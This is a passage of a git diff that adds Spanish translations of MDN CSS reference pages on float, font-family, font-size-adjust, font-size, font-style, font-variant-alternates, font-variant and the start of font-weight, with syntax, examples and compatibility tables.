+<p>{{EmbedLiveSample('How_floated_elements_are_positioned','400','180')}}</p>
+
+<h3 id="Notas" name="Notas">Limpiando (clearing) flotantes:</h3>
+
+<p>A veces querrás forzar un item a moverse por debajo de elementos flotantes. Por ejemplo, párrafos que han de permanecer adyacentes a elementos flotantes, pero forzar a los encabezados a estar en su propia línea. Para ello revisa el siguiente ejemplo: {{cssxref("clear")}}</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#float">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-float">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidad_de_navegadores" name="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p>{{ Cssxref("clear") }}, {{ Cssxref("display") }}, {{ Cssxref("position") }}</p>
+
+<div class="noinclude">
+<p><span class="comment">Categorías</span></p>
+
+<p><span class="comment">Interwiki Language</span></p>
+</div>
diff --git a/files/es/web/css/font-family/index.html b/files/es/web/css/font-family/index.html
new file mode 100644
index 0000000000..13a3e01b72
--- /dev/null
+++ b/files/es/web/css/font-family/index.html
@@ -0,0 +1,61 @@
+---
+title: font-family
+slug: Web/CSS/font-family
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/font-family
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad <code>font-family</code> define una lista de fuentes o familias de fuentes, con un orden de prioridad, para utilizar en un elemento seleccionado. A diferencia de la mayoría de las propiedades CSS, los valores se separan con comas (",") para indicar que son valores alternativos.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">font-family: &lt;familia o nombre genérico&gt; [, &lt;familia o nombre genérico&gt;]* | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;nombre de familia o genérico&gt;</dt>
+ <dd>puede ser un <code>&lt;nombre de familia&gt;</code> o un <code>&lt;nombre genérico&gt;</code></dd>
+ <dt>nombre de familia </dt>
+ <dd>El nombre de la familia de la fuente. Por ejemplo, 'Times' y 'Helvética' son nombres de familia. Los nombres de familia que contengan espacios, deben escribirse entre comillas (por ejemplo: "Times New Roman").</dd>
+ <dt>nombre genérico </dt>
+ <dd>Se han definido los siguientes nombres genéricos: <code>serif, sans-serif, cursive, fantasy, monospace</code>. Los nombres genéricos son palabras claves y no deben ponerse entre comillas.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p><a href="/samples/cssref/font-family.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>body { font-family: "Gill Sans Extrabold", Helvetica, sans-serif }
+
+.receipt { font-family: Courier, "Lucida Console", monospace }
+</pre>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Un nombre genérico debería ser siempre el último de la lista en una propiedad <code>font-family</code>.</p>
+
+<p>La propiedad <code>font-family</code> especifica una lista de fuentes, desde la prioridad más alta a la más baja. La selección de fuentes <strong>no se detiene</strong> en la primera de la lista que está en el equipo del usuario. Por el contrario la selección de fuentes se realiza<em>carácter a carácter</em>, por lo que, si una fuente seleccionada no tiene el carácter que se quiere mostrar, se recurre a la siguiente.</p>
+
+<p>Cuando una fuente no está disponible en algún {{ Cssxref("font-style", "estilo de fuente") }}, {{ Cssxref("font-variant", "variantes de fuente") }}, o {{ Cssxref("font-size", "tamaño de fuente") }}, estas propiedades pueden influir en la elección de la fuente.</p>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font-family">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#font-family-prop">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-fonts-20020802/#font-family-prop">CSS 3</a></li>
+</ul>
+
+<h2 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h2>
+
+<p>TBD (La mejor manera centralizada en un único cuadro de compatibilidad.)</p>
diff --git a/files/es/web/css/font-size-adjust/index.html b/files/es/web/css/font-size-adjust/index.html
new file mode 100644
index 0000000000..99d499dd78
--- /dev/null
+++ b/files/es/web/css/font-size-adjust/index.html
@@ -0,0 +1,60 @@
+---
+title: font-size-adjust
+slug: Web/CSS/font-size-adjust
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/font-size-adjust
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad {{ Cssxref("font-size-adjust") }} especifica que el tamaño de la fuente debería escogerse basándose en el tamaño de las minúsculas en lugar las mayúsculas.</p>
+
+<p>Esto resulta útil ya que la legibilidad de las fuentes, especialmente en el tamaño pequeño, está determinada por el tamaño de las letras minúsculas más que por las mayúsculas. Esto puede causar problemas cuando la primera opción en {{ Cssxref("font-family") }} no está disponible y su reemplazo tiene significativamente un aspecto distinto (el ratio entre las letras minúsculas y mayúsculas de la fuente).</p>
+
+<p>Para hacer esto de forma que sea compatible con los navegadores que no soportan {{ Cssxref("font-size-adjust") }}, se ha especificado de forma que sea el número por el que está multiplicada la propiedad {{ Cssxref("font-size") }}. Esto quiere decir que el valor especificado para la propiedad debería ser el valor de<em>ratio</em> o relación de aspecto entre las minúsculas y las mayúsculas de la fuente escogida como primera opción. Por ejemplo, si especificamos una fuente <code><a href="es/CSS/font-size">font-size</a>: 16px; <a href="es/CSS/font-size-adjust">font-size-adjust</a>: 0.5</code>, realmente estamos especificando que las letras minúsculas de la fuente deben tener <code>8px</code> de alto (16px multiplicado por 0.5).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p><code>font-size-adjust:</code> &lt;número&gt; | <code>none</code> | {{ Cssxref("inherit") }}</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code> </dt>
+ <dd>Escoge el tamaño de la fuente basándose sólo en función de la propiedad {{ Cssxref("font-size") }}.</dd>
+ <dt>&lt;número&gt; </dt>
+ <dd>
+ <p>Escoge el tamaño de la fuente de manera tal que su letra minúscula (determinada por la altura-x de la fuente) sea el<em>número</em> de veces el tamaño de {{ Cssxref("font-size") }}.</p>
+
+ <p>El número especificado es generalmente la relación de aspecto de la fuente de primera elección en la propiedad {{ Cssxref("font-family") }}. Esto significa que la primera fuente, si está disponible, aparecerá con el mismo tamaño en los navegadores, soporten estos o no la propiedad {{ Cssxref("font-size-adjust") }}.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p><a href="/samples/cssref/font-size-adjust.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>p{
+  font: 12px Verdana, sans-serif;
+  font-size-adjust: 0.58;
+}
+
+</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font-size-adjust">CSS 2</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-size-adjust">css3-fonts</a></li>
+</ul>
+
+<h2 id="Compatibilidades" name="Compatibilidades">Compatibilidades</h2>
+
+<p>Soportado en todas las plataformas a partir de Gecko 1.9 / Firefox 3, pero soportado sólo en Windows bastante antes.</p>
diff --git a/files/es/web/css/font-size/index.html b/files/es/web/css/font-size/index.html
new file mode 100644
index 0000000000..6b2dffe670
--- /dev/null
+++ b/files/es/web/css/font-size/index.html
@@ -0,0 +1,69 @@
+---
+title: font-size
+slug: Web/CSS/font-size
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/font-size
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad <code>font-size</code> especifica la dimensión de la letra. Este tamaño puede, a su vez, alterar el aspecto de alguna otra cosa, ya que se usa para calcular la longitud de las unidades <code>em</code> y <code>ex</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<p><code>font-size:</code> <code>xx-small</code> | <code>x-small</code> | <code>small</code> | <code>medium</code> | <code>large</code> | <code>x-large</code> | <code>xx-large</code></p>
+
+<p><code>font-size:</code> <code>smaller</code> | <code>larger</code></p>
+
+<p><code>font-size:</code> &lt;longitud&gt; | &lt;porcentaje&gt; | {{ Cssxref("inherit") }}</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>xx-small, x-small, small, medium, large, x-large, xx-large </dt>
+ <dd>un grupo de palabras clave de dimensión absoluta en relación al que determina el usuario como tamaño por defecto (que es <code>medium</code>). De forma parecida a las sentencias HTML <code>&lt;font size="1"&gt;</code> hasta <code>&lt;font size="7"&gt;</code> donde el tamaño por defecto es <code>&lt;font size="3"&gt;</code>.</dd>
+ <dt>larger, smaller </dt>
+ <dd>más grande o más pequeño que el tamaño de letra del elemento padre, con aproximadamente el mismo ratio que el mencionado anteriormente.</dd>
+ <dt><a href="es/CSS/length">&lt;longitud&gt;</a> </dt>
+ <dd>una unidad positiva de <a href="es/CSS/length">longitud</a>.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;Porcentaje&gt; </dt>
+ <dd>un porcentaje positivo del cuerpo de letra del elemento padre.</dd>
+</dl>
+
+<p>Es aconsejable evitar el uso de valores que no sean relativos al tamaño por defecto definido por el usuario, tales como <code>longitud</code> absoluta en unidades distintas a <code>em</code> o <code>ex</code>. Sin embargo, si hay que usar ese tipo de valores, es preferible utilizar unidades <code>px</code> (píxel), ya que su significado no varía en función de las características del sistema operativo (casi siempre erróneas) como la resolución del monitor.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<p><a href="/samples/cssref/font-size.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>/* Ajusta el texto del párrafo a un cuerpo de letra muy grande. */
+p { font-size: xx-large }
+
+/* Ajusta la cabecera de nivel 1 (h1) a 2,5 veces del tamaño
+ * del texto. */
+h1 { font-size: 250% }
+
+/* Ajusta el texto incluido en span a 16px */
+span { font-size: 16px; }
+</pre>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Las unidades <code>em</code> y <code>ex</code> en la propiedad {{ Cssxref("font-size") }} son relativas al tamaño de letra del elemento padre (al contrario que todas las demás propiedades, en las que estas unidades son relativas al tamaño de letra del elemento). Esto quiere decir que las unidades <code>em</code> y los porcentajes se comportan de igual forma cuando hablamos de {{ Cssxref("font-size") }}.</p>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font-size">CSS 1 </a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font-size">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-size">css3-fonts</a></li>
+</ul>
diff --git a/files/es/web/css/font-style/index.html b/files/es/web/css/font-style/index.html
new file mode 100644
index 0000000000..f467769af0
--- /dev/null
+++ b/files/es/web/css/font-style/index.html
@@ -0,0 +1,152 @@
+---
+title: font-style
+slug: Web/CSS/font-style
+tags:
+  - CSS
+  - Propiedad de CSS
+  - Referencia
+  - Tipos de letra de CSS
+  - Web
+  - tipo de letra
+translation_of: Web/CSS/font-style
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <code>font-style</code> permite definir el aspecto de una familia tipográfica entre los valores: <code>normal</code>, italic (cursiva) y <code>oblique</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">font-style: normal;
+font-style: italic;
+font-style: oblique;
+
+/* Valores globales */
+font-style: inherit;
+font-style: initial;
+font-style: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Escoge un tipo de letra clasificado como <code>normal</code> dentro de una {{Cssxref("font-family", "familia de fuente")}}.</dd>
+ <dt><code>italic</code></dt>
+ <dd>Escoge un tipo de letra etiquetado como <code>italic</code>, o, si una versión cursiva del tipo de letra no esté disponible, escoge un tipo de letra etiquetado como <code>oblique</code> en lugar de eso.</dd>
+ <dt><code>oblique</code></dt>
+ <dd>Escoge un tipo de letra etiquetado como <code>oblique</code>, o, si una versión oblique del tipo de letra no esté disponible, escoge un tipo de letra etiquetado como <code>italic</code> en lugar de eso.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<p>El ejemplo muestra los valores diferentes de <code>font-style</code>.</p>
+
+<pre class="brush: html" style="display: none;">&lt;p class="normal"&gt;This paragraph is normal.&lt;/p&gt;
+&lt;p class="italic"&gt;This paragraph is italic.&lt;/p&gt;
+&lt;p class="oblique"&gt;This paragraph is oblique.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">.normal {
+  font-style: normal;
+}
+
+.italic {
+  font-style: italic;
+}
+
+.oblique {
+  font-style: oblique;
+}</pre>
+
+<p>{{ EmbedLiveSample('Ejemplo') }}</p>
+
+<p>Ten en cuenta que no todas las fuentes tienen tipos de letra distintos para <code>oblique</code> y <code>italic</code>, si este no es el caso, los navegadores simulan el estilo que falta utilizando el tipo de letra presente. Un ejemplo de representación de una fuente con ambos tipos de letra:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12049/Screen%20Shot%202015-12-05%20at%2008.41.03.png" style="height: 135px; width: 466px;"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-style-prop', 'font-style')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-style', 'font-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-style', 'font-style')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Apoyo básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}} [1]</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Apoyo básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}} [1]</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Firefox 44, Gecko no hacía diferencia entre <code>oblique</code> y <code>italic</code>. Desde entonces, Gecko usa el tipo de letra correcto si está disponible.</p>
diff --git a/files/es/web/css/font-variant-alternates/index.html b/files/es/web/css/font-variant-alternates/index.html
new file mode 100644
index 0000000000..a1995762a0
--- /dev/null
+++ b/files/es/web/css/font-variant-alternates/index.html
@@ -0,0 +1,155 @@
+---
+title: font-variant-alternates
+slug: Web/CSS/font-variant-alternates
+tags:
+  - Fuentes CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/font-variant-alternates
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>font-variant-alternates</code></strong> controla el uso de glifos alternos. Estos glifos alternos pueden ser referenciados por nombres alternativos en {{cssxref("@font-feature-values")}}.</p>
+
+<p>Las reglas-at definen nombres, para un tipo determinado de glifos alternativos (<code>stylistic</code>, <code>styleset</code>, <code>character-variant</code>, <code>swash</code>, <code>ornament</code> o <code>annotation</code>), asociándolos a un valor OpenType dado. Esta propiedad permite utilizar estos nombres de fácil uso (según se defina en {{cssxref("@font-feature-values")}}) dentro de la hoja de estilos.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">font-variant-alternates: normal;
+font-variant-alternates: historical-forms;
+font-variant-alternates: stylistic(user-defined-ident);
+font-variant-alternates: styleset(user-defined-ident);
+font-variant-alternates: character-variant(user-defined-ident);
+font-variant-alternates: swash(user-defined-ident);
+font-variant-alternates: ornaments(user-defined-ident);
+font-variant-alternates: annotation(user-defined-ident);
+font-variant-alternates: swash(ident1) annotation(ident2);
+
+/* Global values */
+font-variant-alternates: initial;
+font-variant-alternates: inherit;
+font-variant-alternates: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Se deshabilita el uso de glifos alternos.</dd>
+ <dt><code>historical-forms</code></dt>
+ <dd>Se habilita la muestra de formas históricas , es decir, glifos que eran usados comúnmente en el pasado, pero no en la actualidad. Corresponde al valor de OpenType <code>hist</code>.</dd>
+ <dt><code><a name="stylistic()"></a>stylistic()</code></dt>
+ <dd>Esta función habilita la muestra de alternos estilísticos. El parámetro es un nombre específico de fuente mapeado a un número. Corresponde al valor de OpenType <code>salt</code>, como <code>salt 2</code>.</dd>
+ <dt><code><a name="styleset()"></a>styleset()</code></dt>
+ <dd>Esta función habilita el uso de un conjunto de alternos estilísticos para caracteres. El parámetro es un nombre de fuente específico mapeado a un número. Corresponde al valor de OpenType <code>ssXY</code>, como <code>ss02</code>.</dd>
+ <dt><code><a name="character-variant()"></a>character-variant()</code></dt>
+ <dd>Esta función habilita el uso de un conjunto de alternos estilísticos para caracteres. Es muy similar a <code>styleset()</code>, aunque la variante aquí no crea glifos coherentes a un set de caracteres; los caracteres individuales tendrán estilos indipendientes, no necesariamente coherentes. El parámetro es un nombre específico de fuente mapeado a un número. Corresponde al valor de OpenType <code>cvXY</code>, como <code>cv02</code>.</dd>
+ <dt><code><a name="swash()"></a>swash()</code></dt>
+ <dd>Esta función habilita la muestra de glifos de tipografía <a href="http://en.wikipedia.org/wiki/Swash_%28typography%29">swash</a>. El parámetro es un nombre específico de fuente mapeado a un número. Corresponde a los valores de OpenType <code>swsh</code> y <code>cswh</code>, como <code>swsh 2</code> y <code>cswh 2</code>.</dd>
+ <dt><code><a name="ornaments()"></a>ornaments()</code></dt>
+ <dd>Esta función habilita la muestra de ornamentas, que son <a href="http://en.wikipedia.org/wiki/Fleuron_%28typography%29">florones</a> y otros glifos de estilo dingbat. El parámetro es un nombre específico de fuente mapeado a un número. Corresponde al valor de OpenType <code>ornm</code>, como <code>ornm 2</code>.
+ <div class="note"><strong>Nota: </strong>para manteneer la semántica de la fuente, se invita a los diseñadores de fuentes a incluir ornamentas qoe no coincidan con caracteres zingbat de Unicode como variantes de ornamenta al caracter de viñeta (U+2022). Las fuentes bien diseñadas lo harán, aunque muchas otras fuentes no.</div>
+ </dd>
+ <dt><code><a name="annotation()"></a>annotation()</code></dt>
+ <dd>Esta función habilita la muestra de anotaciones, como dígitos circulares o caracteres invertidos. El parámetro es un nombre de fuente específico mapeado a un número. Corresponde al valor de OpenType <code>nalt</code>, como <code>nalt 2</code>.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Firefox rocks!&lt;/p&gt;
+&lt;p class="variant"&gt;Firefox rocks!&lt;/p&gt;
+</pre>
+
+<h3 id="CSS"><span class="pun">CSS</span></h3>
+
+<pre class="brush: css">p.variant {
+  font-family: Leitura Display Swashes;
+  font-variant-alternates: swash(2);
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p><strong>Nota:</strong> se necesita la fuente Open Type <a href="http://ufonts.com/download/leituradisplay-swashes-opentype/470776.html">Leitura Display Swashes</a> instalada para que este ejemplo funcione</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/font-variant-alternates') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-alternates', 'font-variant-alternates')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop("34")}} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoMobile("34")}}[1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Una implementación experimental estaba disponible desde Gecko 24. Se regía por la preferencia <code>layout.css.font-features.enabled</code>, con valor predeterminado de <code>true</code>, solamente disponible en Nightly y Aurora.</p>
diff --git a/files/es/web/css/font-variant/index.html b/files/es/web/css/font-variant/index.html
new file mode 100644
index 0000000000..972022db38
--- /dev/null
+++ b/files/es/web/css/font-variant/index.html
@@ -0,0 +1,47 @@
+---
+title: font-variant
+slug: Web/CSS/font-variant
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/font-variant
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>La propiedad <code>font-variant</code> selecciona entre los aspectos <code>normal</code> y <code>small-caps</code> para la {{ Cssxref("font-family", "familia de fuente") }} determinado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<dl>
+ <dd><code>font-variant:</code> {{ mediawiki.external('<code>normal</code> | <code>small-caps</code>') }} ;</dd>
+</dl>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>normal</dt>
+ <dd>Especifica un aspecto de letra normal.</dd>
+</dl>
+
+<dl>
+ <dt>small-caps</dt>
+ <dd>Especifica un tipo de letra que está declarado como tipo de letra small-caps. Si no hay un tipo de letra small-caps disponible, Mozilla simulará un tipo de letra small-caps, por ejemplo tomando un tipo de letra normal y reemplazando las letras en minúsculas por caracteres en mayúsculas escalados.</dd>
+</dl>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<pre>h1 { font-variant: small-caps }
+p { font-variant: small-caps}
+</pre>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/fonts.html#propdef-font-variant">Fuentes en CSS 2 (en)</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-variant">Fuentes en CSS 3 (en)</a></li>
+</ul>
diff --git a/files/es/web/css/font-weight/index.html b/files/es/web/css/font-weight/index.html
new file mode 100644
index 0000000000..747efcfd61
--- /dev/null
+++ b/files/es/web/css/font-weight/index.html
@@ -0,0 +1,181 @@
+---
+title: font-weight
+slug: Web/CSS/font-weight
+tags:
+  - CSS
+  - Propiedad de CSS
+  - Referencia
+  - Tipos de letra de CSS
+translation_of: Web/CSS/font-weight
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>font-weight</code></strong> de <a href="/en-US/docs/CSS" title="CSS">CSS</a> especifica el peso o grueso de la letra. Algunos tipos de letra sólo están disponibles en <code>normal</code> y <code>bold</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css notranslate">font-weight: normal;
+font-weight: bold;
+
+/* Relativo al padre */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Valores globales */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>normal </dt>
+ <dd>Peso/grueso normal de la fuente. Igual que 400.</dd>
+ <dt>bold </dt>
+ <dd>Grueso ancho (<em>negrita</em>). Igual que 700.</dd>
+ <dt>lighter </dt>
+ <dd>Corresponde a un tipo de fuente menos grueso que el tipo del elemento padre (dentro de los valores disponibles).</dd>
+ <dt>bolder </dt>
+ <dd>Corresponde a un tipo de fuente más grueso que el tipo del elemento padre (dentro de los valores disponibles).</dd>
+ <dt>100, 200, 300, 400, 500, 600, 700, 800, 900 </dt>
+ <dd>Pesos numéricos para los tipos de fuente que nos permiten más flexibilidad que <code>normal - bold</code>. Si el peso especificado no existe en el tipo de fuente escogido, un valor entre 600 y 900 se presentará con el valor más próximo disponible para dar una letra más oscura. De igual forma, un valor entre 100 y 500 se presentará con el valor más próximo disponible para dar una letra más clara. Esto significa que para los tipos de letra que sólo dispongan de normal y bold, cualquier valor entre 100 y 500 será normal y entre 600 y 900, será bold.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+&lt;/p&gt;
+
+&lt;div&gt;I'm heavy&lt;br/&gt;
+  &lt;span&gt;I'm lighter&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css notranslate">/* Poner texto del párrafo en negrita. */
+p {
+  font-weight: bold;
+}
+
+/* Poner texto del div a dos pasos más oscuro que lo
+   normal pero menos que una negrita estándar. */
+div {
+ font-weight: 600;
+}
+
+/* Sets text enclosed within span tag
+   to be one step lighter than the parent. */
+span {
+  font-weight: lighter;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples","400","300")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Sin cambio</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Define <code>font-weight</code> como animable.</td>
+  </tr>
+  <tr>
